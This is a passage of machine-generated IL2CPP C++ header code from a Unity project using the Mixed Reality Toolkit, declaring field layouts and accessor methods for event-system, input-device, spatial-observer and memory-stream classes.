get_offset_of_postponedActions_15() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4, ___postponedActions_15)); } inline List_1_tA13D401EC270D24A0D7662CA0E55BD0EF020D215 * get_postponedActions_15() const { return ___postponedActions_15; } inline List_1_tA13D401EC270D24A0D7662CA0E55BD0EF020D215 ** get_address_of_postponedActions_15() { return &___postponedActions_15; } inline void set_postponedActions_15(List_1_tA13D401EC270D24A0D7662CA0E55BD0EF020D215 * value) { ___postponedActions_15 = value; Il2CppCodeGenWriteBarrier((void**)(&___postponedActions_15), (void*)value); } inline static int32_t get_offset_of_postponedObjectActions_16() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4, ___postponedObjectActions_16)); } inline List_1_t8473DB386AC0B94DD5FF2E16A7570939FC4C15F9 * get_postponedObjectActions_16() const { return ___postponedObjectActions_16; } inline List_1_t8473DB386AC0B94DD5FF2E16A7570939FC4C15F9 ** get_address_of_postponedObjectActions_16() { return &___postponedObjectActions_16; } inline void set_postponedObjectActions_16(List_1_t8473DB386AC0B94DD5FF2E16A7570939FC4C15F9 * value) { ___postponedObjectActions_16 = value; Il2CppCodeGenWriteBarrier((void**)(&___postponedObjectActions_16), (void*)value); } inline static int32_t get_offset_of_U3CEventHandlersByTypeU3Ek__BackingField_17() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4, ___U3CEventHandlersByTypeU3Ek__BackingField_17)); } inline Dictionary_2_tEB7DD469D67D40F77F686DD4BC38E8ED993B35A9 * get_U3CEventHandlersByTypeU3Ek__BackingField_17() const { return ___U3CEventHandlersByTypeU3Ek__BackingField_17; } inline Dictionary_2_tEB7DD469D67D40F77F686DD4BC38E8ED993B35A9 ** get_address_of_U3CEventHandlersByTypeU3Ek__BackingField_17() { return &___U3CEventHandlersByTypeU3Ek__BackingField_17; } inline void set_U3CEventHandlersByTypeU3Ek__BackingField_17(Dictionary_2_tEB7DD469D67D40F77F686DD4BC38E8ED993B35A9 * value) { ___U3CEventHandlersByTypeU3Ek__BackingField_17 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CEventHandlersByTypeU3Ek__BackingField_17), (void*)value); } inline static int32_t get_offset_of_U3CEventListenersU3Ek__BackingField_18() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4, ___U3CEventListenersU3Ek__BackingField_18)); } inline List_1_t6D0A10F47F3440798295D2FFFC6D016477AF38E5 * get_U3CEventListenersU3Ek__BackingField_18() const { return ___U3CEventListenersU3Ek__BackingField_18; } inline List_1_t6D0A10F47F3440798295D2FFFC6D016477AF38E5 ** get_address_of_U3CEventListenersU3Ek__BackingField_18() { return &___U3CEventListenersU3Ek__BackingField_18; } inline void set_U3CEventListenersU3Ek__BackingField_18(List_1_t6D0A10F47F3440798295D2FFFC6D016477AF38E5 * value) { ___U3CEventListenersU3Ek__BackingField_18 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CEventListenersU3Ek__BackingField_18), (void*)value); } }; struct BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4_StaticFields { public: // System.Boolean Microsoft.MixedReality.Toolkit.BaseEventSystem::enableDanglingHandlerDiagnostics bool ___enableDanglingHandlerDiagnostics_12; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.BaseEventSystem::TraverseEventSystemHandlerHierarchyPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___TraverseEventSystemHandlerHierarchyPerfMarker_19; public: inline static int32_t get_offset_of_enableDanglingHandlerDiagnostics_12() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4_StaticFields, ___enableDanglingHandlerDiagnostics_12)); } inline bool get_enableDanglingHandlerDiagnostics_12() const { return ___enableDanglingHandlerDiagnostics_12; } inline bool* get_address_of_enableDanglingHandlerDiagnostics_12() { return &___enableDanglingHandlerDiagnostics_12; } inline void set_enableDanglingHandlerDiagnostics_12(bool value) { ___enableDanglingHandlerDiagnostics_12 = value; } inline static int32_t get_offset_of_TraverseEventSystemHandlerHierarchyPerfMarker_19() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4_StaticFields, ___TraverseEventSystemHandlerHierarchyPerfMarker_19)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_TraverseEventSystemHandlerHierarchyPerfMarker_19() const { return ___TraverseEventSystemHandlerHierarchyPerfMarker_19; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_TraverseEventSystemHandlerHierarchyPerfMarker_19() { return &___TraverseEventSystemHandlerHierarchyPerfMarker_19; } inline void set_TraverseEventSystemHandlerHierarchyPerfMarker_19(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___TraverseEventSystemHandlerHierarchyPerfMarker_19 = value; } }; // Windows.Foundation.IPropertyValue struct NOVTABLE IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8 : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IPropertyValue_get_Type_m2BC440F5119A133BE4DD895657519ADAA3B34272(int32_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_get_IsNumericScalar_mC8DE97926668A5F2EA3F4A9B128E966CBC7B0D60(bool* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8_m25D96C5F9AC133BF7B682C59FE83EE05A0075B05(uint8_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16_mBE4A7DC8A2B92F83EE058AE7515E84DADFA206AE(int16_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16_mCF513D800195CA7050FD5AFB4E710FB0CFB531B5(uint16_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32_mDE5543C20D3D3C9E773CB6EDBDBC789D12CC59BA(int32_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32_mD48C2097876EAE6D1E218D9123F58F168B374205(uint32_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64_m4BAC154BEC3584DF3E34EDA6033EEF3DB6D4132E(int64_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64_m981379F85C0C44EDBDD830A293693BE0BB3F62CA(uint64_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingle_mED031D57B17B0F7BD3B4B250821D070155889F1F(float* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDouble_mA0880A7E89CE09C2639D6F8065B18E8F77EB082F(double* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16_m7B2226E30F72B0CCAE54B8EDB1AC4ACF1BE860A8(Il2CppChar* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBoolean_m21FCEEA690B32CD86A36D40FB837FC7D894D5587(bool* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetString_m8D5702E4E1C67366D65DA23CA2812D6572DF819C(Il2CppHString* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuid_m885F2850B49DB4B046564BC5FE414256801D9A11(Guid_t * comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTime_m023A766ED6FC58B347CF6F777F5C18C6AE246A3C(DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C * comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpan_m063CE76264EDAF37A1DA3CA5C9CF4AF85D8FC239(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPoint_m014D5E859273BA28DE642E38438EDCC64AB5C41B(Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 * comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSize_m0A952D186E59BEA03E6185EDEBAC26D544AFADAC(Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 * comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRect_m0A96600149C7E6A493B8420CB316938AEF9A1A06(Rect_tC45F1DDF39812623644DE296D8057A4958176627 * comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8Array_m540E0503D8CFAE2579D449884B6AA883509C79D1(uint32_t* ___value0ArraySize, uint8_t** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16Array_m279C289854DE8A2D45A6B6B09112DD9D2F0DF849(uint32_t* ___value0ArraySize, int16_t** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16Array_m090AA712F6BB39F869BCC5CB90236377EE8673B1(uint32_t* ___value0ArraySize, uint16_t** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32Array_mADF499B8CD16185128795A7B74D63E8CFE692B9A(uint32_t* ___value0ArraySize, int32_t** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32Array_m9B44B8D2EA2907A9A96ED653ACEF04873D9483F8(uint32_t* ___value0ArraySize, uint32_t** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64Array_m9A04AC5F477463928280B42E2C40F13B15A1D564(uint32_t* ___value0ArraySize, int64_t** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64Array_m776484C9C41D5A03991D89401FF84F9D425D6A5E(uint32_t* ___value0ArraySize, uint64_t** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingleArray_m1E9CE76FA942B3AFA8995FBAE605E84733917B57(uint32_t* ___value0ArraySize, float** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDoubleArray_m5DAB086BEB4816CAF7553E325B91A4B0B07953A5(uint32_t* ___value0ArraySize, double** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16Array_m2C69248F68D7705FE44FA8F777B061FA77C706A1(uint32_t* ___value0ArraySize, Il2CppChar** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBooleanArray_m083CB5579BC465B4D1BD84CE8382CB747A9FCC8C(uint32_t* ___value0ArraySize, bool** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetStringArray_m680617C6226187D28C4978B710AFBB8581AAC98F(uint32_t* ___value0ArraySize, Il2CppHString** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInspectableArray_m6DCBE370A8CAC129E6D6BD91C6503D14A8109F79(uint32_t* ___value0ArraySize, Il2CppIInspectable*** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuidArray_mE9983D9B5EE9AC1935C3EBD2F9E82DC7188E1D07(uint32_t* ___value0ArraySize, Guid_t ** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTimeArray_mEECFC6C321405CDBC425D321E2A8EF3E7BC306A7(uint32_t* ___value0ArraySize, DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C ** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpanArray_mEAF3CA18AA928DAF3046F0F530B9324711650167(uint32_t* ___value0ArraySize, TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPointArray_mD4ACB0F49C7BFEC1C03A4EE4263B23B2040CECD0(uint32_t* ___value0ArraySize, Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 ** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSizeArray_m3C079B4191330FAC3B2131D308C825BC72A5F0DC(uint32_t* ___value0ArraySize, Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 ** ___value0) = 0; virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRectArray_m09598924D31716E1E653AE941186F8B16EA11A87(uint32_t* ___value0ArraySize, Rect_tC45F1DDF39812623644DE296D8057A4958176627 ** ___value0) = 0; }; // System.IO.UnmanagedMemoryStream struct UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62 : public Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB { public: // System.Runtime.InteropServices.SafeBuffer System.IO.UnmanagedMemoryStream::_buffer SafeBuffer_tABA0D0B754FCCF3625CD905D535296E353C630D2 * ____buffer_4; // System.Byte* System.IO.UnmanagedMemoryStream::_mem uint8_t* ____mem_5; // System.Int64 System.IO.UnmanagedMemoryStream::_length int64_t ____length_6; // System.Int64 System.IO.UnmanagedMemoryStream::_capacity int64_t ____capacity_7; // System.Int64 System.IO.UnmanagedMemoryStream::_position int64_t ____position_8; // System.Int64 System.IO.UnmanagedMemoryStream::_offset int64_t ____offset_9; // System.IO.FileAccess System.IO.UnmanagedMemoryStream::_access int32_t ____access_10; // System.Boolean System.IO.UnmanagedMemoryStream::_isOpen bool ____isOpen_11; // System.Threading.Tasks.Task`1 System.IO.UnmanagedMemoryStream::_lastReadTask Task_1_tEF253D967DB628A9F8A389A9F2E4516871FD3725 * ____lastReadTask_12; public: inline static int32_t get_offset_of__buffer_4() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____buffer_4)); } inline SafeBuffer_tABA0D0B754FCCF3625CD905D535296E353C630D2 * get__buffer_4() const { return ____buffer_4; } inline SafeBuffer_tABA0D0B754FCCF3625CD905D535296E353C630D2 ** get_address_of__buffer_4() { return &____buffer_4; } inline void set__buffer_4(SafeBuffer_tABA0D0B754FCCF3625CD905D535296E353C630D2 * value) { ____buffer_4 = value; Il2CppCodeGenWriteBarrier((void**)(&____buffer_4), (void*)value); } inline static int32_t get_offset_of__mem_5() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____mem_5)); } inline uint8_t* get__mem_5() const { return ____mem_5; } inline uint8_t** get_address_of__mem_5() { return &____mem_5; } inline void set__mem_5(uint8_t* value) { ____mem_5 = value; } inline static int32_t get_offset_of__length_6() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____length_6)); } inline int64_t get__length_6() const { return ____length_6; } inline int64_t* get_address_of__length_6() { return &____length_6; } inline void set__length_6(int64_t value) { ____length_6 = value; } inline static int32_t get_offset_of__capacity_7() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____capacity_7)); } inline int64_t get__capacity_7() const { return ____capacity_7; } inline int64_t* get_address_of__capacity_7() { return &____capacity_7; } inline void set__capacity_7(int64_t value) { ____capacity_7 = value; } inline static int32_t get_offset_of__position_8() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____position_8)); } inline int64_t get__position_8() const { return ____position_8; } inline int64_t* get_address_of__position_8() { return &____position_8; } inline void set__position_8(int64_t value) { ____position_8 = value; } inline static int32_t get_offset_of__offset_9() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____offset_9)); } inline int64_t get__offset_9() const { return ____offset_9; } inline int64_t* get_address_of__offset_9() { return &____offset_9; } inline void set__offset_9(int64_t value) { ____offset_9 = value; } inline static int32_t get_offset_of__access_10() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____access_10)); } inline int32_t get__access_10() const { return ____access_10; } inline int32_t* get_address_of__access_10() { return &____access_10; } inline void set__access_10(int32_t value) { ____access_10 = value; } inline static int32_t get_offset_of__isOpen_11() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____isOpen_11)); } inline bool get__isOpen_11() const { return ____isOpen_11; } inline bool* get_address_of__isOpen_11() { return &____isOpen_11; } inline void set__isOpen_11(bool value) { ____isOpen_11 = value; } inline static int32_t get_offset_of__lastReadTask_12() { return static_cast(offsetof(UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62, ____lastReadTask_12)); } inline Task_1_tEF253D967DB628A9F8A389A9F2E4516871FD3725 * get__lastReadTask_12() const { return ____lastReadTask_12; } inline Task_1_tEF253D967DB628A9F8A389A9F2E4516871FD3725 ** get_address_of__lastReadTask_12() { return &____lastReadTask_12; } inline void set__lastReadTask_12(Task_1_tEF253D967DB628A9F8A389A9F2E4516871FD3725 * value) { ____lastReadTask_12 = value; Il2CppCodeGenWriteBarrier((void**)(&____lastReadTask_12), (void*)value); } }; // Microsoft.MixedReality.Toolkit.CameraSystem.BaseCameraSettingsProvider struct BaseCameraSettingsProvider_t499DB82132811BA940D9337482403F79CA08D979 : public BaseDataProvider_1_tC0017357CA75C522AD4D10BECAF035491FA45934 { public: // System.Boolean Microsoft.MixedReality.Toolkit.CameraSystem.BaseCameraSettingsProvider::k__BackingField bool ___U3CIsOpaqueU3Ek__BackingField_14; public: inline static int32_t get_offset_of_U3CIsOpaqueU3Ek__BackingField_14() { return static_cast(offsetof(BaseCameraSettingsProvider_t499DB82132811BA940D9337482403F79CA08D979, ___U3CIsOpaqueU3Ek__BackingField_14)); } inline bool get_U3CIsOpaqueU3Ek__BackingField_14() const { return ___U3CIsOpaqueU3Ek__BackingField_14; } inline bool* get_address_of_U3CIsOpaqueU3Ek__BackingField_14() { return &___U3CIsOpaqueU3Ek__BackingField_14; } inline void set_U3CIsOpaqueU3Ek__BackingField_14(bool value) { ___U3CIsOpaqueU3Ek__BackingField_14 = value; } }; // Microsoft.MixedReality.Toolkit.BaseCoreSystem struct BaseCoreSystem_tD92EF2BE9E8955487A46277A7C1C792EEAC43652 : public BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4 { public: // Microsoft.MixedReality.Toolkit.IMixedRealityServiceRegistrar Microsoft.MixedReality.Toolkit.BaseCoreSystem::k__BackingField RuntimeObject* ___U3CRegistrarU3Ek__BackingField_20; public: inline static int32_t get_offset_of_U3CRegistrarU3Ek__BackingField_20() { return static_cast(offsetof(BaseCoreSystem_tD92EF2BE9E8955487A46277A7C1C792EEAC43652, ___U3CRegistrarU3Ek__BackingField_20)); } inline RuntimeObject* get_U3CRegistrarU3Ek__BackingField_20() const { return ___U3CRegistrarU3Ek__BackingField_20; } inline RuntimeObject** get_address_of_U3CRegistrarU3Ek__BackingField_20() { return &___U3CRegistrarU3Ek__BackingField_20; } inline void set_U3CRegistrarU3Ek__BackingField_20(RuntimeObject* value) { ___U3CRegistrarU3Ek__BackingField_20 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CRegistrarU3Ek__BackingField_20), (void*)value); } }; // Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager struct BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6 : public BaseDataProvider_1_tEC3109DD7330EBFBD10659E4D839217213171929 { public: // System.Boolean Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager::enablePointerCache bool ___enablePointerCache_14; // Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager/PointerConfig[] Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager::pointerConfigurations PointerConfigU5BU5D_tAB402AEBBC6B3D1142E9E6CB11F242801DC4574C* ___pointerConfigurations_15; // System.Collections.Generic.Dictionary`2 Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager::activePointersToConfig Dictionary_2_t40AD0E25A9C651DF2D10B7C03EE5D87856C2A72D * ___activePointersToConfig_17; public: inline static int32_t get_offset_of_enablePointerCache_14() { return static_cast(offsetof(BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6, ___enablePointerCache_14)); } inline bool get_enablePointerCache_14() const { return ___enablePointerCache_14; } inline bool* get_address_of_enablePointerCache_14() { return &___enablePointerCache_14; } inline void set_enablePointerCache_14(bool value) { ___enablePointerCache_14 = value; } inline static int32_t get_offset_of_pointerConfigurations_15() { return static_cast(offsetof(BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6, ___pointerConfigurations_15)); } inline PointerConfigU5BU5D_tAB402AEBBC6B3D1142E9E6CB11F242801DC4574C* get_pointerConfigurations_15() const { return ___pointerConfigurations_15; } inline PointerConfigU5BU5D_tAB402AEBBC6B3D1142E9E6CB11F242801DC4574C** get_address_of_pointerConfigurations_15() { return &___pointerConfigurations_15; } inline void set_pointerConfigurations_15(PointerConfigU5BU5D_tAB402AEBBC6B3D1142E9E6CB11F242801DC4574C* value) { ___pointerConfigurations_15 = value; Il2CppCodeGenWriteBarrier((void**)(&___pointerConfigurations_15), (void*)value); } inline static int32_t get_offset_of_activePointersToConfig_17() { return static_cast(offsetof(BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6, ___activePointersToConfig_17)); } inline Dictionary_2_t40AD0E25A9C651DF2D10B7C03EE5D87856C2A72D * get_activePointersToConfig_17() const { return ___activePointersToConfig_17; } inline Dictionary_2_t40AD0E25A9C651DF2D10B7C03EE5D87856C2A72D ** get_address_of_activePointersToConfig_17() { return &___activePointersToConfig_17; } inline void set_activePointersToConfig_17(Dictionary_2_t40AD0E25A9C651DF2D10B7C03EE5D87856C2A72D * value) { ___activePointersToConfig_17 = value; Il2CppCodeGenWriteBarrier((void**)(&___activePointersToConfig_17), (void*)value); } }; struct BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6_StaticFields { public: // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager::RequestPointersPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___RequestPointersPerfMarker_16; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager::RecyclePointersPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___RecyclePointersPerfMarker_18; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager::CreatePointerPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___CreatePointerPerfMarker_19; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager::CleanActivePointersPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___CleanActivePointersPerfMarker_20; public: inline static int32_t get_offset_of_RequestPointersPerfMarker_16() { return static_cast(offsetof(BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6_StaticFields, ___RequestPointersPerfMarker_16)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_RequestPointersPerfMarker_16() const { return ___RequestPointersPerfMarker_16; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_RequestPointersPerfMarker_16() { return &___RequestPointersPerfMarker_16; } inline void set_RequestPointersPerfMarker_16(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___RequestPointersPerfMarker_16 = value; } inline static int32_t get_offset_of_RecyclePointersPerfMarker_18() { return static_cast(offsetof(BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6_StaticFields, ___RecyclePointersPerfMarker_18)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_RecyclePointersPerfMarker_18() const { return ___RecyclePointersPerfMarker_18; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_RecyclePointersPerfMarker_18() { return &___RecyclePointersPerfMarker_18; } inline void set_RecyclePointersPerfMarker_18(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___RecyclePointersPerfMarker_18 = value; } inline static int32_t get_offset_of_CreatePointerPerfMarker_19() { return static_cast(offsetof(BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6_StaticFields, ___CreatePointerPerfMarker_19)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_CreatePointerPerfMarker_19() const { return ___CreatePointerPerfMarker_19; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_CreatePointerPerfMarker_19() { return &___CreatePointerPerfMarker_19; } inline void set_CreatePointerPerfMarker_19(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___CreatePointerPerfMarker_19 = value; } inline static int32_t get_offset_of_CleanActivePointersPerfMarker_20() { return static_cast(offsetof(BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6_StaticFields, ___CleanActivePointersPerfMarker_20)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_CleanActivePointersPerfMarker_20() const { return ___CleanActivePointersPerfMarker_20; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_CleanActivePointersPerfMarker_20() { return &___CleanActivePointersPerfMarker_20; } inline void set_CleanActivePointersPerfMarker_20(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___CleanActivePointersPerfMarker_20 = value; } }; // Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver struct BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94 : public BaseDataProvider_1_t7E9A9AAEB867FA4FD304C47C3F2A4F4540D82FBA { public: // System.UInt32 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField uint32_t ___U3CSourceIdU3Ek__BackingField_15; // System.String Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField String_t* ___U3CSourceNameU3Ek__BackingField_16; // Microsoft.MixedReality.Toolkit.Utilities.AutoStartBehavior Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField int32_t ___U3CStartupBehaviorU3Ek__BackingField_17; // System.Int32 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField int32_t ___U3CDefaultPhysicsLayerU3Ek__BackingField_18; // System.Boolean Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField bool ___U3CIsRunningU3Ek__BackingField_19; // System.Boolean Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField bool ___U3CIsStationaryObserverU3Ek__BackingField_20; // UnityEngine.Quaternion Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 ___U3CObserverRotationU3Ek__BackingField_21; // UnityEngine.Vector3 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___U3CObserverOriginU3Ek__BackingField_22; // Microsoft.MixedReality.Toolkit.Utilities.VolumeType Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField int32_t ___U3CObserverVolumeTypeU3Ek__BackingField_23; // UnityEngine.Vector3 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___U3CObservationExtentsU3Ek__BackingField_24; // System.Single Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver::k__BackingField float ___U3CUpdateIntervalU3Ek__BackingField_25; public: inline static int32_t get_offset_of_U3CSourceIdU3Ek__BackingField_15() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CSourceIdU3Ek__BackingField_15)); } inline uint32_t get_U3CSourceIdU3Ek__BackingField_15() const { return ___U3CSourceIdU3Ek__BackingField_15; } inline uint32_t* get_address_of_U3CSourceIdU3Ek__BackingField_15() { return &___U3CSourceIdU3Ek__BackingField_15; } inline void set_U3CSourceIdU3Ek__BackingField_15(uint32_t value) { ___U3CSourceIdU3Ek__BackingField_15 = value; } inline static int32_t get_offset_of_U3CSourceNameU3Ek__BackingField_16() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CSourceNameU3Ek__BackingField_16)); } inline String_t* get_U3CSourceNameU3Ek__BackingField_16() const { return ___U3CSourceNameU3Ek__BackingField_16; } inline String_t** get_address_of_U3CSourceNameU3Ek__BackingField_16() { return &___U3CSourceNameU3Ek__BackingField_16; } inline void set_U3CSourceNameU3Ek__BackingField_16(String_t* value) { ___U3CSourceNameU3Ek__BackingField_16 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CSourceNameU3Ek__BackingField_16), (void*)value); } inline static int32_t get_offset_of_U3CStartupBehaviorU3Ek__BackingField_17() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CStartupBehaviorU3Ek__BackingField_17)); } inline int32_t 